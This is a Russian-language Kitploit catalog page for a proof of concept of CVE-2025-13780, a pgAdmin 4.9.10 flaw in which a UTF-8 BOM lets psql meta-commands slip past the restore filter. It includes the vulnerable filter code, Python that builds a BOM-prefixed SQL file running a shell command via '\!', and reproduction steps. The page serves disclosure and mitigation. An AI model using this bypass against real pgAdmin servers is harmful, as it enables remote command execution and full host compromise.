Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pgadmin4-9.10-CVE-2025-13780 — Концепт-доказательство для CVE-2025-13780 | Kitploit
Инструменты/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

Концепт-доказательство для CVE-2025-13780

Репозиторий
14119 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

pgadmin4 < 9.11 Выполнение команд в обход фильтра мета-команд

Краткое описание

Фильтр мета-команд для восстановления в формате PLAIN, добавленный в pgAdmin в рамках исправления Issue 9320, не обнаруживает мета-команды, когда SQL-файл начинается с UTF-8 BOM (EF BB BF) или других специальных последовательностей. Реализованный фильтр использует функцию has_meta_commands(), которая сканирует исходные байты с помощью регулярного выражения. Регулярное выражение не считает эти байты игнорируемыми, поэтому такие мета-команды, как !, остаются незамеченными. Когда pgAdmin запускает psql с флагом --file, psql отбрасывает эти байты и выполняет команду. Это может привести к удалённому выполнению команд во время операции восстановления.

Данный обход затрагивает исправление, добавленное в коммите 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)

Затронутые версии

Подтверждённые затронутые версии:

  • pgAdmin 9.10 snapshot
    Commit: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

Вероятно затронуты:

  • Любая версия, содержащая исправленную has_meta_commands() из коммита 1d397395f75320ca1d4ed5e9ca721c603415e836

Смягчение

  • 9.11+: восстановление в формате PLAIN выполняется в ограниченном режиме psql (\restrict), поэтому теперь мета-команды блокируются самим psql
  • 9.10: уязвим к обходу фильтра.

Подробности

Расположение:

  • web/pgadmin/tools/restore/__init__.py
  • Функция has_meta_commands()

Соответствующий код (из исправленной версии):

root@kitploit:~
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

Корневая причина:

  1. SQL-файлы открываются в бинарном режиме.
  2. Регулярное выражение считает игнорируемыми только пробелы и табуляцию перед обратным слешем.
  3. UTF-8 BOM (EF BB BF) или аналогичная последовательность, размещённая перед обратным слешем, препятствует обнаружению.
  4. pgAdmin ошибочно заключает, что файл не содержит мета-команд.
  5. psql отбрасывает BOM при чтении и нормально выполняет мета-команду.

Ожидаемое поведение:

  • SQL-файлы, содержащие мета-команды, должны блокироваться независимо от BOM.

Фактическое поведение:

  • Мета-команды с префиксом BOM обходят фильтр и допускают выполнение.

Шаги воспроизведения

Шаг 1: Создайте SQL-файл, начинающийся с BOM и мета-команды.

root@kitploit:~
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

Шаг 2: Проверьте BOM:

root@kitploit:~
xxd bypass_bom.sql | head -1

Ожидаемый результат:

root@kitploit:~
ef bb bf 5c 21 ...

Шаг 3: Поместите файл в хранилище pgAdmin:

root@kitploit:~
/var/lib/pgadmin/storage/<user>/bypass_bom.sql

Шаг 4: В pgAdmin: Restore -> Format: PLAIN -> выберите bypass_bom.sql -> Run

Шаг 5: Проверьте выполнение:

root@kitploit:~
ls /tmp/bom_ran

Контрольный файл без BOM корректно блокируется.

Доказательство концепции (PoC)

Полезная нагрузка с префиксом BOM:

root@kitploit:~
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

Контрольная полезная нагрузка:

root@kitploit:~
\\! echo SHOULD_BE_BLOCKED
SELECT 1;

Влияние

  • Выполнение команд через мета-команды.
  • Произвольное чтение/запись файлов.
  • Полная компрометация хоста pgAdmin.
  • Возможная компрометация подключённых серверов PostgreSQL.
Скачать инструмент